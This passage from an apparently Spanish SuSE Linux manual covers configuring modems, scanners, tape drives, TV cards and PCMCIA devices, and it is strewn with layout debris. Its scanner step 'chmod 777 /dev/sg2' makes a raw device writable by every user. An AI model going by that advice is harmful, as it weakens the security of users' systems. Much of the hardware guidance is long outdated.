expansiónsection.10.2. Como los modems en general se controlan por medio de un puerto serie, también aquellos del tipo interno tienen que proporcionar un puerto serie. La tabla 10.2 muestra un resumen de los recursos estándar para puertos serie. ________________________________________________________________________________________________________* *__________ |__Fichero_de_dispositivo__|_____________Nombre__|________Interupción__|________Dirección_E/S___________* *__________|_ |__/dev/ttyS0_________________|__________COM1__________|__4___________________|_0x3f8___________________* *__________| |__/dev/ttyS1_________________|__________COM2__________|__3___________________|_0x2f8___________________* *__________| |__/dev/ttyS2_________________|__________COM3__________|__4___________________|_0x3e8___________________* *__________| |__/dev/ttyS3_________________|__________COM4__________|__3___________________|_0x2e8___________________* *__________| Tabla 10.2: Recursos estándar para un puerto serie Modem-PCI Si tiene un modem del tipo PCI, lo más probable es que se trate de un ''Win- modem''. Winmodems en realidad no son modems ;-) ~ sino dispositivos que precisan de un driver especial que emula un modem normal. Este driv- er proporciona el fabricante del dispositivo y actualmente solo existe para Microsoft Windows. Información más detallada sobre Winmodems y su soporte bajo Linux se encuentra bajo URL http://www.o2.net/~gromitkc/winmodem.html. Modems-ISA Para usar modems del tipo ISA se precisan dos pasos: o Hay que configurar el modem en si, o sea la interrupción (IRQ) y la dirección de entrada y salida (IO-address) de la interfaz. o Hay que informar al kernel sobre la interfaz nueva. 304 ______________________________________________________________________________________________________________10.7.__Escáner* *______________________ Inicialización del modem Como ya se ha mencionado en el apartado 10.2 en la página 287Tarjetas de expansiónsection.10.2, las tarjetas con bus ISA pueden ser del tipo Legacy, Jumperless o PnP. El apartado presente cubre (también) la activación de las tarjetas PnP. Consejos de configuración: Lo menos problemático es el uso de /dev/ttyS1 con IRQ 3 (COM2 ), ya que la otra posibilidad (/dev/ttyS3 con IRQ 4) puede provocar problemas con /dev/ttyS0 (COM1 ). Este interfaz normalmente usa también la IRQ 4. Por eso nunca debe usar /dev/ttyS0 ni /dev/ttyS2, si existe un mouse de puerto serie en COM1 . A su vez es mejor evitar las IRQs y 7, ya están muchas veces usadas por la interfaz de la impresora y la tarjeta de sonido. En caso de usar OSS para la tarjeta de sonido, verifique que ésta no esté ac- tivada en el fichero /etc/isapnp.conf (ACT Y debe figurar como comen- tario). Pasar los parámetros al kernel Después de la configuración del modem, es necesario informar el kernel sobre la nueva interfaz. Si el modem se encuenta en /dev/ttyS0 o /dev/ttyS1 no hace falta modificar nada, sino que las interfaces se configuran de nuevo después del reinicio del sistema. Para otras combinaciones de puerto e IRQ, se requiere el uso de setserial para dar de alta la interfaz: tierra:/ # setserial /dev/ttyS3 irq 10 Posteriormente se puede proceder a configurar el acceso internet (ver el apartado 6.5 en la página 189Conexión de modemsection.6.5) Para automatizar la configuración mediante setserial , se puede modificar el fichero /sbin/init.d/serial. Para el ejemplo de arriba habría que modi- ficar la siguiente línea: # run_setserial /dev/ttyS3 $AUTO_IRQ autoconfig de forma que aparezca: run_setserial /dev/ttyS3 irq 10 10.7 Escáner Para usar un escáner bajo Linux se necesita una serie de programas y drivers especiales, igual que para otros sistemas operativos. El paquete sane (se- rie gra) en combinación con paquete scsiinfo (serie ap) proporciona las herramientas necesarias. Mediante SANE se puede usar un escáner que esté conectado a una controladora SCSI que soporte Linux. Actualmente no hay soporte para escáner en el puerto paralelo, aunque ya se están desarrollando drivers para ello. Lo mismo ocurre con los escáneres para el bus USB. * * 305 10. Linux y el hardware_adicional_________________________________________________________________________________________________* *_______________________________________@ SANE se está ampliando continuamente y la cantidad de escáneres so- portados va creciendo. En el URL http://www.mostang.com/sane/ sane-backends.html se encuentra una lista con la versión más nueva de los escáneres soportados. ¿Cómo se configura el escáner bajo Linux? Bajo Linux los escáneres se tratan como ''generic scsi devices'' con los ficheros de dispositivo correspondientes /dev/sg0, /dev/sg1, etc. Para encontrar el fichero de dispositivo correcto, use el programa sgcheck : tierra:/ # sgcheck Debería aparecer un mensaje como el siguiente: Assignment of generic SCSI devices, device host/channel/ID/LUN type(numeric type) vendor model: /dev/sg0 0/0/0/0 Direct-Access(0) SEAGATE ST32550N /dev/sg1 0/0/1/0 CD-ROM(5) PIONEER CD-ROM DR-U10X /dev/sg2 0/0/5/0 Processor(3) HP C2500A Los escáneres se identifican con la denominación Processor o SCANNER . En el ejemplo expuesto, se puede acceder al escáner por el fichero /dev/sg2. Ahora hay que generar un enlace simbólico desde este fichero hacia /dev/ scanner: tierra:/ # ln -s /dev/sg2 /dev/scanner Después de esto se deben modificar los derechos sobre el dispositivo genérico SCSI. SANE espera derechos de lectura y también de escritura, ya que el programa tiene que enviar comandos al escáner: tierra:/ # chmod 777 /dev/sg2 Problema Si SANE no encuentra el escáner, es posible que ni siquiera la controladora SCSI lo reconozca. Por eso pruébelo con: tierra:/ # cat /proc/scsi/scsi Deberían aparecer una indicaciones parecidas a: Attached devices: Host: scsi0 Channel: 00 Id: 00 Lun: 00 Vendor: SEAGATE Model: ST32550N Rev: 0016 Type: Direct Access ANSI SCSI revision: 02 Host: scsi0 Channel: 00 Id: 01 Lun: 00 Vendor: PIONEER Model: CD-ROM DR-U10X Rev: 1.07 Type: CD-ROM ANSI SCSI revision: 02 Host: scsi0 Channel: 00 Id: 02 Lun: 00 Vendor: QUANTUM Model: FIREBALL TM3200S Rev: 1.07 Type: Direct-Access ANSI SCSI revision: 02 Host: scsi0 Channel: 00 Id: 06 Lun: 00 Vendor: SCANNER Model: Rev: 2.00 Type: Scanner ANSI SCSI revision: 01 CCS 306 _______________________________________________________________________________________________10.8.__Cintas_/_Streamer_____* *______________________ Si no aparece ninguna línea con ''SCANNER'' o ''PROCESSOR'', la contro- ladora no reconoce el escáner. Compruebe que el escáner esté encendido y que el terminador del Bus SCSI está correctamente instalado. 10.8 Cintas / Streamer Unidades de cinta (ingl. Streamer) se usan sobre todo para respaldar grandes cantidades de datos. Estas unidades están disponibles con diferentes inter- faces de conexión. SCSI-Streamer Los dispositivos más conocidos son aquellos que se conectan directamente al bus SCSI. En principio, todos los dispositivos que se pueden conectar a una controladora SCSI soportada por Linux, funcionan bajo Linux. Si la unidad de cinta tuviera funciones especiales (p. ej. cambio automático de cintas), es muy probable que se necesite software especial para aprovechar estas funciones. Una unidad de cinta tipo SCSI se controla de la siguiente forma: o El primer streamer del sistema se controla con los ficheros de dispositi- vo /dev/st0 y /dev/nst0, el siguiente con /dev/st1 y /dev/nst1, etc. /dev/stX representa una unidad de cinta que rebobina al comienzo, después de cada acción. /dev/nstX se refiere a una unidad que mantiene siempre la posición actual de la cinta. Recomendamos usar /dev/nstX, ya que el comando mt permite contro- lar exactamente la unidad de cinta. o mt es el comando para enviar secuencias de control a la unidad de cinta. tierra:/ # mt -f /dev/nst0 retension Tensiona de nuevo la cinta, rebobinándola desde el comienzo hasta el final. tierra:/ # mt -f /dev/nst0 rewind Rebobina la cinta al comienzo. tierra:/ # mt -f /dev/nst0 eom Rebobina la cinta desde de la última grabación hacia atrás, para añadir datos a una cinta parcialmente ocupada. tierra:/ # mt -f /dev/nst0 erase Borra la cinta. ¡Cuidado! Todos los datos se pierden. IDE-Streamer Las unidades de cinta se conectan al bus IDE de la computadora y Linux los reconoce automáticamente. Se puede usar a través de los ficheros de dispositivo /dev/ht0 o /dev/nht0. Use el comando mt , así como se detalla en el apartado 10.8. * * 307 10. Linux y el hardware_adicional_________________________________________________________________________________________________* *_______________________________________@ Floppy-Streamer Las unidades de cinta tipo ''floppy'' se conectan en cadena al puerto de dis- quetera que existe en todas las computadoras. El control de estos dispositivos es difícil de sincronizar, por eso frecuente- mente se presentan problemas al grabar datos. Con el driver especial ftape se pueden usar bajo Linux. Ese driver se sumin- istra junto con el kernel. Su configuración se detalla en /usr/src/linux/ Documentation/ftape.txt; la documentación completa sobre el subsis- tema ftape se encuentra en la ''Homepage'' del desarrollador del driver: http://www.math1.rwth-aachen.de/~heine/ftape/. 10.9 Tarjetas TV Desde hace algún tiempo ya, se puede ver la televisión bajo Linux, usando una tarjeta capturadora de vídeo y el entorno gráfico (el sistema X Window). Todo se realiza mediante una serie de módulos de kernel y algunos programas correspondientes. ¿Cuáles tarjetas se soportan? El soporte de una tarjeta depende básicamente del chip incorporado en la tar- jeta. Los más difundidos son los ''Grabber-Chips'' de la empresa Brooktree. Bajo Linux se puede usar tarjetas con los chips BT848 y ''BT878''. El soporte para el BT878 aún no es completo pero se puede considerar como estable. Algunas tarjetas típicas que incorpora este chip son p. ej. Hauppauge WIN/TV y Miro PC/TV . ¿Cómo se activa el soporte de las tarjetas? o Entrar al sistema como superusuario `root' o Instalar con YaST el paquete bttv de la serie gra. o Entrar al directorio /usr/doc/packages/bttv/tools para iniciar el programa update : tierra:/ # cd /usr/doc/packages/bttv/tools tierra:/usr/doc/packages/bttv/tools # ./update Este script prepara el sistema para el uso de las tarjetas TV. Primero re- conoce la tarjeta TV usada y después se encarga de configurar los módulos necesarios. Si se presentan problemas con la tarjeta TV, consulte primero la docu- mentación en /usr/doc/packages/bttv/doc. Además nuestro banco de datos de soporte en urlhttp://sdb.suse.de/ contiene algunos artículos sobre el tema (palabra guía: tv ). 308 Capítulo 11 Portátiles ~ PCMCIA, APM, IrDA Los portátiles suelen incorporar dispositivos especiales como p. ej. interfaces de infrarrojo (IrDA), tarjetas PCMCIA o la administración avanzada de poten- cia ''Advanced Power Management'' (APM). Estos componentes se encuen- tran a veces también en las computadoras de sobremesa y no se distinguen mucho de los que incorporan los portátiles. Por eso su configuración y su uso están resumidos en este capítulo. Pare conseguir información sobre determinados modelos de portátiles se recomienda visitar la ''Linux Laptop Homepage'' en http://www.cs. utexas.edu/users/kharker/linux-laptop. Otra fuente de informa- ción es la ''LiLAC''-Homepage en http://home.snafu.de/wehe/index_ li.html. Allí se encuentran dos Howto's interesantes sobre Laptops en general y sobre IrDA. 11.1 PCMCIA 11.1.1 El hardware PCMCIA es la abreviación de ''Personal Computer Memory Card Interna- tional Association'' y se usa generalmente para todo el hardware y software relacionado con ello. El componente clave es la tarjeta PCMCIA, de la que se distinguen dos tipos diferentes: Tarjetas PC: Son las tarjetas con difusión más amplia y usan un bus de 16bit para la transferencia de datos. Estas tarjetas suelen ser económicas y muchas de ellas se soportan sin problemas y de forma estable. Tarjetas CardBus: Son tarjetas bajo un estándar más nuevo con un bus de 32 Bit de anchura y más rápidos pero también más caros. El gasto adi- cional para estas tarjetas normalmente no se justifica, ya que el cuello de botella para la transferencia suele estar en otra parte, que no es el bus. Ya existen varios drivers para estas tarjetas; algunos de ellos aún son in- estables (en función de la combinación de la controladora PCMCIA y la tarjeta). Cuando el servicio PCMCIA esté activo, el comando cardctl ident indica la tarjeta que esté introducida en la ranura. Una lista de las tarjetas soportadas se encuentra en SUPPORTED_CARDS en el fichero /usr/doc/packages/ pcmcia. Allí se encuentra también la última versión del PCMCIA-HOWTO. * * 309 11. Portátiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________* *_______________________________________@ El segundo componente que se necesita para el soporte PCMCIA es la con- troladora o bien el PC-Card/CardBus-Bridge. Este puente establece la comu- nicación entre la tarjeta y el bus PCI o (en caso de máquinas antiguas) el bus ISA. Casi siempre las controladoras son compatibles con el chip i82365 de Intel por lo que todos los modelos corrientes se soportan. Con el comando probe se puede averiguar el tipo de controladora. Si la controladora conecta al bus PCI se puede conseguir más información con lspci -vt . 11.1.2 El software Todos los programas y drivers que se necesitan y que no están incorporados en el kernel, se encuentran en el paquete PCMCIA, serie a1. La base de todo está formada por los módulos pcmcia_core, i82365, ds y (pocas veces) tcic. Estos módulos se cargan normalmente durante el inicio de la computadora, inicializan las controladoras PCMCIA y proporcionan funciones básicas. Es necesario un + Daemon que vigile las actividades de las tarjetas, ya que es permitido cambiarlas en tiempo de ejecución. De esta tarea se ocupa el Card- manager (cardmgr ), que se carga inmediatamente después de los módulos básicos. Cuando se inserta una tarjeta, el Cardmanager (ingl. administrador de tarjetas) averigua el tipo y la función de la tarjeta para cargar los módulos correspondientes; con lsmod se puede verificar los módulos cargados. Una vez que todos los módulos se hayan cargado con éxito, el Cardmanager inicia ~ según la función de la tarjeta ~ determinados scripts de inicialización, que se encargan p. ej. de establecer la conexión de red o de montar particiones de discos duros externos del tipo SCSI. En el momento de quitar la tarjeta el cardmanager se encarga de desactivar mediante los mismos script las diversas actividades de la tarjeta. Finalmente los módulos que ya no se necesitan se descargan de la memoria. Por eso, ''teóricamente'', es posible quitar las tarjetas sin ninguna precaución especial. Es algo que funciona muy bien para las tarjetas de red, RDSI o los modems cuando ya no existe ninguna conexión de red. No funciona en relación a particiones montadas de un disco duro externo o con directorios NFS. En estos últimos casos hay que procurar sincronizar y desmontar las unidades correctamente (umount ), ya que esto deja de ser posible una vez que se haya sacado la tarjeta. En caso de duda se debería usar: tierra: # cardctl eject Este comando desactiva las tarjetas mientras se encuentren aún en el portátil. 11.1.3 La configuración Cuando el paquete PCMCIA está instalado, se encuentran cuatro variables sobre éste dentro de /etc/rc.config. START_PCMCIA indica si el servi- cio PCMCIA se inicia durante el arranque. Es posible iniciar este servicio manualmente, aunque START_PCMCIA esté en no . PCMCIA indica el tipo de controladora PCMCIA y se configura automáticamente durante la insta- lación; casi siempre es i82365 . Las otras dos variables (PCMCIA_PCIC_OPTS y PCMCIA_CORE_OPTS ) son para opciones de los módulos básicos y nor- malmente se pueden quedar vacíos. La opción por defecto do_pnp=0 de 310 ____________________________________________________________________________________________________________11.1.__PCMCIA___* *______________________ PCMCIA_CORE_OPTS solo importa para los portátiles de Compaq. Normal- mente no se requiere ninguna configuración adicional del hardware, ya que el Cardmanager (cardmgr ) se encarga de la selección del módulo correcto. Ethernet y TokenRing Las conexiones de red tipo Ethernet o TokenRing se pueden configurar sin ningún problema con YaST . El formulario para la `Configuración básica de red' se encuentra bajo `Administración del sistema' ! `Configuración de red' y la red se configura igual como si las tar-__ jetas fueran fijas. Aparte de esto solo falta indicar con |___F|9que la tarjeta es del tipo PCMCIA; ver apartado 3.7.3 en la página 108Configuración de redsubsection.3.7.3. Tenga en cuenta los siguientes detalles: o Con varios dispositivos de Ethernet o de TokenRing marcados como tipo PCMCIA, solo se tiene en cuenta la configuración del primer dispositivo. o En comparación a las tarjetas_de_red normales, la configuración se activa inmediatamente al apretar |F____1|0. o Los nombres de dispositivo que se indican (eth0 , eth1 , tr0 . . . ) se entienden como mera información sobre el tipo de dispositivo, ya que la enumeración de los dispositivos es dinámica para PCMCIA. o Cuando un dispositivo está desactivado y se_activa de nuevo con |____|F4, tam- bién es preciso marcarlo nuevamente con |___F|9como dispositivo PCMCIA. RDSI También las tarjetas PC del tipo RDSI se configuran como es habitual; ver el apartado 6.2 en la página 173Acceso a Internet vía RDSI ~ la configuraciónsection.6.2. La única diferencia es que hace falta marcar el dispositivo como PCMCIA, en `Configuración básica de red' (`Ad- ministración_ del sistema', ! `Configuración de red') usando la tecla ||_F|9. No hace falta indicar ni la interrupción (IRQ) ni el puerto (IO-Port). Tampoco se puede modificar el protocolo de transmisión. Existen también tarjetas PCMCIA con modem RDSI. Estas suelen ser tarjetas multifunción con un ''kit'' de conexión RDSI y su tratamiento es equivalente al de un modem. Modem Las tarjetas PC con modem analógico normalmente no conocen ninguna con- figuración específica para PCMCIA. Cuando se inserta un modem, éste es- tá directamente disponible bajo /dev/modem. La configuración con wvdial (wvdial ) es equivalente a la de un modem normal; ver apartado 6.6 en la página 190Con el modem a Internet: PPP con wvdial section.6.6. SCSI y IDE El gestor de tarjetas (Cardmanager) carga los módulos adecuados. En el momento de insertar una tarjeta SCSI o IDE, los dispositivos conectados a ella están a disposición. Los nombres de + dispositivo se averiguan de forma * * 311 11. Portátiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________* *_______________________________________@ dinámica. La información sobre los dispositivos SCSI o IDE se encuentra bajo /proc/scsi o /proc/ide. ________________________________________________________________________________________________________* *________||| | * * ||| | Los dispositivos externos como discos duros o lectores CDROM deben * * ||| | estar encendidos, antes de introducir la tarjeta PCMCIA a su ranura. La * * ||| | * * ||| | terminación de los dispositivos SCSI debe ser activa. * * ||| | Cuidado: Hay que desmontar todas las particiones de los dispositivos * * ||| | * * ||| | que estén conectados a una tarjeta antes de extraerla. En caso de haberlo * * ||| | olvidado no se puede acceder a estos dispositivos antes de un reinicio del * * ||| | * * ||| | sistema, aunque el resto del sistema pueda funcionar perfectamente. * * ||| |_______________________________________________________________________________________________________* *________|||_ Es posible instalar Linux completamente en un disco duro externo, pero el procedimiento de arranque resulta un poco más complicado. En todo caso se necesita un ''Bootdisk'' con el kernel y un Ramdisk inicial (initrd); más información sobre ello en el apartado 16.2 en la página 411Arrancar con ''ini- tial ramdisk''section.16.2. La initrd contiene un sistema de ficheros virtual que contiene todos los módulos y programas necesarios para el soporte PCM- CIA. El disquete de arranque ''Bootdisk'' de SuSE Linux y las imágenes de estos disquetes tienen esta misma estructura, por lo que siempre sería posible arrancar la instalación externa mediante estos disquetes. La desventaja es que se requiere cargar manualmente el soporte PCMCIA en cada inicio. Para los usuarios avanzados existe la posibilidad de generar un disquete de arranque hecho a medida1 . 11.1.4 Configuración variable ~ ''Esquemas'' Una computadora móvil necesita muchas veces una configuración diferente que depende del lugar en el cual debe operar (p. ej. en el trabajo y en casa). Se puede realizar fácilmente con dispositivos PCMCIA, pero se requiere la adaptación manual de los ficheros de configuración, ya que YaST aún no es capaz de encargarse de ello. La siguiente descripción no se refiere a tarjetas RDSI ni a modems 2 . Hablando de PCMCIA, una configuración se denomina ''esquema'', (ingl. Scheme). Los ficheros de configuración para los dispositivos PCMCIA que se encuentran bajo /etc/pcmcia/*.opts pueden albergar varios esquemas. Los datos de un esquema aparecen en estos ficheros en forma de bloques de configuración y se puede acceder a estos mediante una ''dirección''. Estas direcciones se separan con comas, siendo la primera palabra el nombre del esquema. Las demás cadenas de texto contienen información, p. ej. sobre la ranura en la que se encuentra la tarjeta o el número de una partición del disco duro. Hay información más detallada sobre este tema al comienzo de los ficheros /etc/pcmcia/*.opts y en el PCMCIA-HOWTO. El esquema por defecto de SuSE Linux se denomina SuSE . Este esquema (SuSE ) se modifica mediante SuSEconfig , si la conexión de red se ha configurado con YaST . Por _____________________________________________1 Para más información consulte en el PCMCIA-HOWTO el apartado 5.3 ''Booting from a PCMCIA device''. 2 En caso de RDSI es posible generar varios dispositivos con la misma dirección de red y la misma ruta por defecto. Estos no se inician de forma automática sino manualmente. ~ En caso de los modems se puede usar varios perfiles diferentes con wvdial . 312 ____________________________________________________________________________________________________________11.1.__PCMCIA___* *______________________ eso los||cambios||hechos a mano en este esquema se pierden en el próximo || inicio de|SuSEconfig|| . || _______________________________________________________________________________________________________________________|||| |||||||| # The address format is "scheme,socket,instance,hwaddr" . | |||||||| case "$ADDRESS" in | |||||||| SuSE,*,*,*) | |||||||| INFO="This scheme is to be configured by YaST/SuSEconfig" | |||||||| # [... gekürzt ...] | |||||||| | |||||||| ;; | |||||||| work,*,*,*) | |||||||| INFO="Configuración de red para el trabajo vía DHCP" | |||||||| | |||||||| IF_PORT="" | |||||||| BOOTP="n" | |||||||| DHCP="y" | |||||||| IPADDR="" | |||||||| | |||||||| NETMASK="" | |||||||| NETWORK="" | |||||||| BROADCAST="" | |||||||| GATEWAY="" | |||||||| | |||||||| DOMAIN="" | |||||||| SEARCH="" | |||||||| DNS_1="" | |||||||| MOUNTS="" | |||||||| | |||||||| start_fn () { return; } | |||||||| stop_fn () { return; } | |||||||| ;; | |||||||| home,*,*,*) | |||||||| | |||||||| INFO="Configuración de red para la casa con dirección fija" | |||||||| IF_PORT="" | |||||||| BOOTP="n" | |||||||| DHCP="n" | |||||||| | |||||||| IPADDR="10.0.1.23" | |||||||| NETMASK="255.255.255.0" | |||||||| NETWORK="10.0.1.0" | |||||||| BROADCAST="10.0.1.255" | |||||||| | |||||||| GATEWAY="10.0.1.1" | |||||||| DOMAIN="home.de" | |||||||| SEARCH="home.de work.de" | |||||||| DNS_1="10.0.1.1" | |||||||| | |||||||| MOUNTS="" | |||||||| start_fn () { return; } | |||||||| stop_fn () { return; } | |||||||| | |||||||| ;; | |||||||| *,*,*,*) | |||||||| INFO="Sample private network setup" | |||||||| # [... cortado ...] | |||||||| | |||||||| ;; | |||||||| esac | ||||||||_______________________________________________________________________________________________________________ | Fichero 11.1.1: /etc/pcmcia/network.opts Como ejemplo para la configuración de un esquema nos sirve aquí una tarjeta Ethernet. Se generan dos esquemas denominados work y home . Para ello se necesitan varios bloques de configuración dentro del fichero /etc/pcmcia/ network.opts (ver fichero 11.1.1). Estos reciben las siguientes direcciones: o SuSE,*,*,* : Conserve este bloque para mantener la posibilidad de con- figurar de forma fácil con YaST . * * 313 11. Portátiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________* *_______________________________________@ o work,*,*,* : Este bloque configura la red para el uso en el trabajo. De forma análoga, o home,*,*,* : contiene los datos para conectarse en casa. o *,*,*,* : Este bloque también aparece por defecto y sirve para configurar todos los esquemas que no han aparecido anteriormente. El camino más fácil para configurar un bloque es el de introducir los datos deseados mediante YaST , copiar el bloque SuSE generado por SuSEconfig y renombrarlo como work o home . Para configurar todo manualmente hace falta conocer el significado de términos como NETMASK , BROADCAST , etc. Esta información se encuentra en la tabla 5.1 en la página 156Requisitos, Preparativostable.5.1; los valores específicos se detallan en el PCMCIA-HOWTO (en /usr/doc/packages/pcmcia se encuentra la última versión). | * * | ________________________________________________________________________________________________________* *________|| | image = /boot/vmlinuz * * | | root = /dev/hda7 * * | | * * | | label = work * * | | alias = w * * | | append = xzx SCHEME=work xzx * * | | # * * | | * * | | image = /boot/vmlinuz * * | | root = /dev/hda7 * * | | label = home * * | | alias = h * * | | * * | | append = xzx SCHEME=home xzx * * | | # * * | | image = /boot/vmlinuz * * | | root = /dev/hda7 * * | | * * | | label = suseconf * * | | alias = s * * | | append = xzx SCHEME=SuSE xzx * * | |_______________________________________________________________________________________________________* *________ | Fichero 11.1.2: PCMCIA: Extracto de lilo.conf Se puede cambiar de un esquema al otro en el momento de arrancar o igualmente en tiempo de ejecución. Para conocer el esquema activo en un determinado momento se puede usar el comando cardctl scheme . Este mismo comando se usa para cambiar el esquema en tiempo de eje- cución; en concreto con: cardctl scheme . La selección del esquema no se pierde reiniciando la computadora, salvo que se haya seleccionado explícitamente otro esquema durante el arranque. Para realizar esto se puede usar en el ''prompt'' de arranque (LILO: ) la variable SCHEME= ; el apartado 14.3.2 en la pági- na 360Parámetros del kernel en el Boot-Promptsubsection.14.3.2 le informa sobre el ''prompt'' de arranque. Para definir uno o varios esquemas de arranque fijos se puede configurar LILO al respecto, usando el parámetro append en el fichero /etc/lilo. conf. Siguiendo el ejemplo expuesto se generan tres configuraciones de ar- ranque, así como se muestra en el fichero 11.1.2. Después de haber modi- ficado /etc/lilo.conf hay que ejecutar el comando lilo . Según la con- figuración de ejemplo dada en el fichero 11.1.2 ahora se puede iniciar cada esquema fácilmente seleccionando w , h o s en el momento de arrancar. 314 ____________________________________________________________________________________________________________11.1.__PCMCIA___* *______________________ Soporte APM El paquete PCMCIA de SuSE Linux se compila sin soporte de APM, ya que para usar APM también el kernel debe estar preparado y los kernel con so- porte APM no funcionan de forma fiable en todas las computadoras. Es posi- ble usar el daemon apmd (ver apartado 11.2.3 en la página 319El daemon APMsubsection.11.2.3) para ''simular'' el soporte APM o recompilar el pa- quete PCMCIA con soporte de APM; esto no es tan complicado como suena. Lo importante es que durante la compilación ya se ejecute el kernel correcto, ya que se obtiene cierta información de él. El paquete PCMCIA debe estar instalado pero aún no se debe haber iniciado; en caso de duda se usa el co- mando rcpcmcia stop . Después de esto se instala con YaST el paquete con las fuentes de PCMCIA, indicando después: tierra: # rpm -ba /usr/src/packages/SPECS/pcmcia.spec ¡Ya está! Ahora incluso se encuentra un nuevo paquete binario en el directo- rio /usr/src/packages/RPMS. Este se puede usar para instalarlo en otras computadoras cuando se usa el mismo kernel. 11.1.5 En caso de problemas. . . Usar PCMCIA resulta problemático con algunos portátiles pero afortunada- mente la mayoría de los problemas se resuelven fácilmente trabajando de for- ma sistemática. Lo primero es averiguar la causa del problema, que puede ser la tarjeta o el sistema base PCMCIA. Por eso hay que iniciar la computadora sin ninguna tarjeta insertada. Todos los mensajes de interés se protocolizan en el fichero /var/log/messages; lo mejor es observar este fichero durante las pruebas con: tierra: # tail -f /var/log/messages lo que permite determinar uno de los siguientes casos como causa del error. El sistema base PCMCIA no funciona Si el sistema llega a pararse durante el arranque con el mensaje "PCM- CIA: Starting services:ö si hay otras incidencias ''extrañas'', es posi- ble deshabilitar el servicio PCMCIA para el próximo arranque, indicando NOPCMCIA=yes en el ''prompt'' (LILO: ). Para conocer mejor la causa del er- ror, los tres módulos básicos se cargan secuencialmente. Pare ello se usan los comandos modprobe pcmcia_core , modprobe i82365 o ~ en pocas oca- siones ~ modprobe tcic y modprobe ds . Los módulos críticos son los dos primeros. La página del manual de pcmcia_core (man pcmcia_core ) presta ayuda cuando el error aparece en el momento de cargar pcmcia_core. Las op- ciones que se mencionan en la página de manual se pueden usar en conjunto con el comando modprobe . Como ejemplo nos sirve un problema ocurri- do anteriormente por la activación del soporte PNP (''Plug-and-Play'') de los módulos PCMCIA. El soporte PnP ocasionaba la parada del sistema cargan- do pcmcia_core. Para remediarlo era necesario desactivar el soporte PnP mediante la opción do_pnp=0 . En el caso de efectuar pruebas, una opción se añade al comando modprobe de la siguiente forma: * * 315 11. Portátiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________* *_______________________________________@ tierra: # modprobe pcmcia_core do_pnp=0 Una vez que la opción probada tenga éxito, ésta se guarda en el fichero /etc/rc.config mediante la variable PCMCIA_CORE_OPTS : PCMCIA_CORE_OPTS="do_pnp=0" Esta variable contiene ahora por defecto el valor do_pnp=0 , así que hace falta poner el valor 1 para conseguir el soporte PCMCIA. Varias opciones se separan en la misma línea mediante un espacio: PCMCIA_CORE_OPTS="do_pnp=0 probe_io=0" Para resolver problemas cargando i82365 se puede recurrir a la página del manual de i82365 (man i82365 ). Un problema típico a la hora de cargar este módulo es un conflicto de recursos, o sea una interrupción, un puerto de E/S (I/O-Port) o un rango de memoria se ocupan dos veces. En realidad el módulo i82365 comprueba los recursos antes de asignarlos a la tarjeta pero justamente esta comprobación es la que produce a veces un error. For exam- plehay computadoras que bloquean el teclado y/o el mouse en el momento de comprobar la interrupción 12 (dispositivos PS/2). En tal caso sirve como remedio el parámetro irq_list= . La lista debe contener todos los IRQs que se permite usar, p. ej. : tierra: # modprobe i82365 irq_list=5,7,9,10 o, para fijarlo en /etc/rc.config: PCMCIA_PCIC_OPTS="irq_list=5,7,9,10" Además el Cardmanager evalúa los ficheros /etc/pcmcia/config y /etc/ pcmcia/config.opts. Los parámetros definidos en estos no tienen rele- vancia antes de la carga de los drivers para las tarjetas PCMCIA. En /etc/ pcmcia/config.opts también se puede indicar las IRQs, puertos E/S y ran- gos de memoria excluidos. A diferencia de la opción irq_list , los recursos excluidos en config.opts no se usan para una tarjeta PCMCIA pero sí que se comprueban mediante el módulo base i82365. La tarjeta PCMCIA no funciona (bien) Hay tres explicaciones para una tarjeta PCMCIA que no funciona bien: No se reconoce la tarjeta, la tarjeta usa recursos indebidos o es poco fiable. Si la tarjeta no se reconoce, el mensaje "unsupported Card in Slot x" aparece en /var/log/messages. El mensaje solo indica que el gestor de tarjetas (Cardmanager ) no es capaz de asignar un driver a la tarjeta, ya que se necesita una especie de ''banco de datos de drivers'' (en /etc/pcmcia/ config) para esta asignación. Para ampliar este ''banco de datos de drivers'' se pueden usar entradas existentes como plantilla para nuevas. Para identi- ficar la tarjeta se puede usar cardctl ident . Para más información sobre el tema consulte el apartado 6 del PCMCIA-HOWTO (''Dealing with un- supported cards'' ~ Tratar tarjetas no soportadas) y la página del manual de pcmcia (man pcmcia ). Después de modificar /etc/pcmcia/config hay que cargarlo de nuevo mediante rcpcmcia reload . La mayoría de las tarjetas PCMCIA trabajan correctamente con cualquier IRQ o puerto de E/S. Por eso muchas veces el problema radica en el uso 316 ____________________________________________________________________________________________________________11.1.__PCMCIA___* *______________________ posterior de un recurso por parte de otro dispositivo (CDROM en la 2a con- troladora IDE: IRQ 15; puerto serie o IrDA: IRQ 3, IRQ 4; sonido, im- presora IRQ 5, IRQ 7). Para estos casos es preciso excluir tales recursos en /etc/pcmcia/config.opts. Si una determinada tarjeta necesitara una configuración específica, es posible usar config.opts para pasar opciones al módulo en cuestión. For examplepara usar el módulo pcnet_cs con la IRQ 5, se usa la siguiente entrada: module "pcnet_cs" opts "irq_list=5" Las diferentes opciones se explican en las páginas de manual que existen para la mayoría de los módulos3 . Cuando no hay ninguna página de man- ual se puede recurrir a las opciones de la página del manual de i82365 (man i82365 ) o intentar entender el código fuente del módulo en cuestión. . . Un problema específico de las tarjetas de red 10/100 Mbit es una selección automática equivocada del modo de transferencia. El problema se puede remediar con el comando ifport , que permite averiguar y modificar el modo de transferencia; ver la página del manual de ifport (man ifport ). La configuración adecuada se puede indicar mediante la variable IFPORT en /etc/pcmcia/network.opts. 11.1.6 Instalación vía PCMCIA En ciertas ocasiones ya se necesita el soporte PCMCIA para la instalación de SuSE Linux. Para ello hay que seleccionar en `Módulos del Ker- nel (Drivers)' la opción `Cargar driver PCMCIA'. Primero aparecen dos cuadros de diálogo que permiten introducir opciones para los módulos pcmcia_core y i82365. Normalmente estos campos se quedan vacíos. Las páginas de manual para pcmcia_core y i82365 se encuentran en el primer CD dentro del directorio docu. Durante la instalación aparecen mensajes de sistema en las distintas consolas virtuales, que se pueden acceder mediante Alt |||||||||__+ |F________|. 4 Después del primer paso de la instalación, el sistema se reinicia total- o parcialmente. Raras veces el sistema se para al iniciar PCMCIA, pero en este punto la instalación ya está tan avanzada que se puede iniciar Linux sin PCMCIA y en modo texto usando la opción de arranque NOPCMCIA=yes . Para solventar este problema consulte el apartado 11.1.5 en la página 315En caso 